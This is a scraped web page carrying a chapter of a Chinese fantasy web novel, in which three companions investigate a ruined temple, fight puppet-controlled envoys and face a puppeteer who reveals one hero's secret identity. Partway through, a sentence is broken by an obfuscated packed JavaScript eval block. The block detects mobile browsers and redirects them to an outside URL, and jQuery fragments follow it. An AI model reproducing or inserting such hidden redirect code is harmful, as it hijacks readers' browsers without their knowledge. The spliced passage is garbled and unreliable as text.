默认冷灰
24号文字
方正启体

10. 枯藤老树昏鸦

作者:漓青鹭本书字数:K更新时间:
    马车一路从出云秘境穿越云海山川行驶到西南地界儿的黄土道上,终于在一处看似已是荒废数年的道观前停了下来。


    眼前这座破败不堪的道观,便是那批谛听阁特使最后传出灵讯的地方。


    “到了。”烬明将马车停稳后,率先跳下了车。


    伶州钥揉着被颠得快要散架的老腰,扶着车框跳了下来。她抬头望去,只见那山门上的朱漆早已斑驳脱落,上头的匾额歪斜着,隐约可见“玄虚观”三个大字,怎么看怎么透着股邪气。


    “这里就是他们最后消失的地方吗?”伶州钥说着正要迈步往里走,眼前忽然寒光一闪。


    “接着。”烬明头也不回,随手向后方抛来两物。


    伶州钥下意识地抬手一接,入手沉甸甸的,是一柄尚未出鞘的长剑。她拔出来看了看,这剑虽不似神兵利器,但也算是精铁打造的上品。


    而另一把,则直接被丢向了刚钻出车的亓镇。


    亓镇眼皮都没抬一下,侧身微微一避,那剑便“哐当”一声砸在了车辕上。他嫌弃地看了看那把剑,道:“本君杀人,从不需这种累赘之物。”


    烬明背对着他们,理了理袖口的护腕,闻言冷淡道:“妖力被封,恐怕你那爪子再硬也斗不过法器。不想死就拿着。”


    亓镇抱臂冷笑,依旧不甘示弱地道:“本君这双手,撕碎的法器比你吃过的饭还多。本君不用妖力,照样可以掰下你那只白色大猫的头。”


    这两人,一个是把天聊死的闷葫芦,一个是把天聊炸的火药桶。


    伶州钥叹了口气,弯腰捡起那把剑,一把塞进亓镇怀里:“行了我的黑大爷,咱们人在屋檐下,不得不低头!再说了,万一里面又有什么特制的阵法怎么办?”


    亓镇转头对着她,一脸不可置信道:“你是说,凭本君一人,还护不住你?!”


    伶州钥一副无可奈何的样子,压低声音道:“我自然是相信你的实力啊!但是那独眼龙给咱俩的任务是‘查案’,你若赤手空拳进去把妖怪撕成碎片,咱们还查什么的线索?拿着!哪怕当个摆设,做做样子也行啊!”


    亓镇低头看着怀里这把毫无灵气的铁剑,又看了看伶州钥那副“你敢扔我就敢哭给你看”的无赖表情,最终还是咬了咬牙,勉为其难地收下了。


    “仅此一次。”他黑着脸道。


    “好好好,仅此一次。”伶州钥漫不经心地点点头,转身跟上了烬明的步伐。


    三人一前两后,踏进了那扇摇摇欲坠的山门。


    这观内静得出奇,连一丝风声都没有。院中杂草丛生,足有半人高,布满蛛网的大鼎里积满了黑水,散发着一股难闻的恶臭。


    伶州钥警惕地环顾四周,右手按在剑柄上,“这里也有点太安静了,那么些特使究竟都被藏在哪了......”


    话音未落,一阵悉悉索索的声音忽然从四面八方的草丛里传来,听起来好像是什么东西在地上拖行的声音。


    “小心!”


    烬明利用“白虎”的力量低喝了一声,随即一道黑影被他震飞了出去,重重地撞在院墙上。


    紧接着,原本死寂的草丛瞬间沸腾起来!数十道摇摇晃晃的身影从杂草深处站了起来,手里提着各式各样的兵器,喉咙里发出低沉嘶哑的吼声,如同诡异的木偶人一般,朝着位于院中心的三人扑了过来!


    “什么东西?”伶州钥瞳孔一缩。


    那些人面色青灰,双目无神,动作虽僵硬迟缓,但力气却大得惊人。伶州钥侧身避开一记横扫而来的流星锤,手中长剑顺势一挑,架住了侧后方另一人袭来的攻击。


    这一接触,她才看清了这些袭击者的装束。虽然是沾满了泥土和血污,尽数破损了大半,但衣领处那朵暗紫色的荷花纹样却依然清晰可辨。


    “这些傀儡都是谛听阁的人!”伶州钥大喊道,“应该就是那批失踪的调查使!”


    亓镇此时正愁憋着一肚子火没处发,见有人送上门来,当即冷哼一声,直接把那剑鞘当成了棍子使。只见他手腕一抖,带着呼啸的风声,狠狠砸在一个扑来的特使的肩膀上,将其整个人砸得陷进了草地里。


    “别下死手!”伶州钥一剑挑开一名傀儡的攻击,抽空回头吼道,“他们还有呼吸!不是死人!”


    她在交手的瞬间就察觉到了不对。这些人虽然眼神涣散,气息微弱,但胸口确实还有起伏。而且......


    恰逢此时,一缕阳光穿透云层,斜斜地照进院中。


    伶州钥接着阳光敏锐地捕捉到,在这些人的四肢和脖颈处,都有一道道极细的、几近透明的光一闪而过。


    “那是.....”伶州钥眯起眼,“丝线?”


    “真麻烦。”亓镇不耐烦地啧了一声,既然不能杀,那就只能打了。他手中剑鞘一横,硬生生抗住三人的围攻,然后长腿一扫,将那三人齐齐地踹飞了出去。能看得出来,他虽然嘴上骂得凶,但他手下的力道确实明显收了几分。


    场面陷入了混乱。这些像提线木偶般的特使们,好像完全不知疼痛,也不知疲倦,倒下一批又爬起来一批,简直无穷无尽。而伶州钥和亓镇又因为顾忌着不能杀人,不可贸然摘下戒指释放妖力,只能靠着纯粹的体术和剑招周旋,打得那是相当憋屈。


    另一边,烬明如同鬼魅般快速穿梭在人群中,然后从扳指里抽出一把黑色长刀,精准地用刀鞘攻击着这些傀儡的筋骨连接处,使他们瞬间失去行动能力。


    他抬起头,看向正前方那座紧闭的主殿大门。仔细看,那些近乎透明的丝线,密密麻麻地汇聚在一起,最终都延伸进了那扇红木门缝之中。


    “在里面。”


    烬明反手将一名扑上来的特使震退,然后转头看向伶州钥和亓镇,声音低沉而急促:“你们先在外面拖住这些人,我想办法进去斩断这些线。”


    “哎?等等!”伶州钥一剑格挡开攻击,气喘吁吁道,“你就一个人进去啊?好歹带上......”


    “不用。”烬明打断了她的话,甚至没等她俩回应,脚尖一点,越过那群张牙舞爪的傀儡群,直直地冲向了主殿大门。


    “喂!阿——!”伶州钥那个“明”字还没喊出口,烬明的身影已经消失在了殿门之后。


    伶州钥气得跺脚,“这闷葫芦到底在急什么?不想活了吗?”


    “他那是赶着去送死。”亓镇一脚踹飞一个企图扑向他大腿的傀儡,嘲讽道,“也好,省得本君日后亲自动手了。”


    “闭上你的乌鸦嘴!”伶州钥深吸一口气,眼神凌厉道,“我们也速战速决!”


    ............


    主殿内,光线昏暗,空气中却弥漫着一股甜腻到发齁的脂粉香气。


    而在大殿的正中央,只有一座断了头和四肢、已无法分辨是哪位大人的神像,和一把朱红色的太师椅。


    一个身穿大红羽衣的女人,正慵懒地倚在上面。


    这女人长相十分妖艳,她眼尾上挑,红唇似血,肤色白得吓人,透着股不似活人的阴冷。她手里把玩着一根长长的烟枪,正有一搭没一搭地吐着烟圈。


    而在她的身后,矗立着一个足有两丈高的巨型的人偶。它只有上半身,披着一件厚厚的毛绒斗篷,双眼处蒙着一条粉红色的布条,嘴巴被画成了一个永恒的微笑弧度,嘴角裂到了耳根。


    那人偶双手十指大张,无数根透明丝线正从它的指尖射出,穿透大殿的门窗,控制着外面那些生不如死的修士。


    此时,烬明手持长刀,站在门口,眼神紧盯着椅子上的女人。


    “果然是你。”


    女人闻声,缓缓转过头,视线落在烬明的脸上。她先是一愣,随即捂


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153337|196464||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着嘴大笑了起来。那笑声尖锐刺耳,听得人头皮发麻。


    “嚯,我还道是哪位不知死活的小郎君闯了进来呢......”


    她站起身,赤着脚踩在地板上,向着烬明走来。她身后的那个巨人玩偶也随之将巨大的头颅缓缓转向烬明。


    “罗瑶。”烬明握刀的手紧了紧。


    “真令人欣慰呀,小少爷。这么多年了,你竟然还记得奴家的名字。”罗瑶停在离他十步远的地方,歪着头,她上下打量着烬明,眼神中充满了玩味与讥讽。


    烬明未等她说完,将长刀向地上一插,伴随着一声虎啸,他手中的黑色长刀竟在瞬间褪去了伪装,化作一柄通体雪白、刀身缠绕着烈烈罡风的巨刃——白虎刀!


    “别废话。”烬明脚下发力,整个人化作一道白色流光,直取罗瑶的咽喉。


    “哎哟,好凶啊~”罗瑶娇笑着后退,手指对着身后那人偶轻轻一勾,“爱娃,来陪少宗主玩玩。”


    那个名为“爱娃”的巨型人偶发出一声低吼,巨大的手臂猛地挥下,将无数的丝线化为一道盾,挡下了烬明这势大力沉的一刀!


    烬明只觉得虎口一阵发麻,这些丝线,竟坚硬如钢!


    还没等他变招,那人偶张开的手掌中,再次生出成百上千道的丝线,瞬间缠上了白虎刀的刀身,并顺着刀柄向烬明的手臂蔓延。这人偶身上的每一根丝线,都带着极强的黏性和韧性,若是被其完全缠住,后果将不堪设想。


    “该死!”烬明低喝一声,在空中一个翻身,落在了大殿的另一侧,大口喘着粗气。


    罗瑶居高临下地看着烬明,脸上的笑容越发灿烂邪魅。


    “伶州少宗主,看来这十五年,你也没什么长进嘛。”她掩唇轻笑,“怎么?还在为当年我和爱娃绑架你的事情耿耿于怀呀?”


    烬明猛地抬头,眼中杀意沸腾:“住口!”


    “怎么?不让说?那我偏要说~”她故意拖长了尾音,声音甜腻得像是一把淬了毒的刀子,狠狠扎进烬明心底最痛的伤口。


    “哎呀,如果不是我和爱娃在那个重要的日子绑架你的话,你那件亲手缝制了一整年、准备在结丹大典亲手为你最心爱的大小姐送上的那件‘梧桐氅’......应该就能亲手披在她身上了吧?”


    烬明听完浑身一震,握刀的手剧烈颤抖起来。那段被他尘封在心底、连碰都不敢碰的回忆,就这样被这个疯女人血淋淋地撕开了。


    那是他一辈子的遗憾,也是他这一生最大的悔恨。


    “可惜啊,真是太可惜了。”罗瑶叹息着摇头,眼中满是幸灾乐祸,“那位不可一世的大小姐后来也是被剔了仙骨,扔进了妄渊,下场好惨呢~”


    “我杀了你!!”烬明彻底失控了。他的双眼瞬间充血,白虎刀发出悲鸣般的咆哮,他不顾一切地冲向了空中的罗瑶。


    与此同时,大殿的侧门被人一脚踹开,两道身影带着满身的尘土和煞气冲了进来。


    “我说怎么外面那些傀儡突然不动了,原来是有人在这儿念经呢!”伶州钥提着剑,气喘吁吁地跨进了主殿内。


    可她刚一进来,听到的第一句话,就是罗瑶嘴里那句充满了讽刺意味的称呼。


    ——“伶州少宗主”。


    伶州钥猛地顿住了,大脑一片空白。她不可置信地看向前方那个如此熟悉,却又如此陌生的背影。


    身旁的亓镇也停下了脚步,他挑了挑眉,目光在三人之间来回扫视了一圈,然后用剑鞘捅了捅僵在原地的伶州钥,道:“喂,小孩儿。”


    大殿内,空气仿佛凝固了。伶州钥死死地盯着烬明,手中的剑“哐当”一声掉在地上。她的声音颤抖着,带着一丝小心翼翼的求证,又带着一种几近崩溃的绝望,在这空旷的大殿里响了起来:


    “伶州......少宗主?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)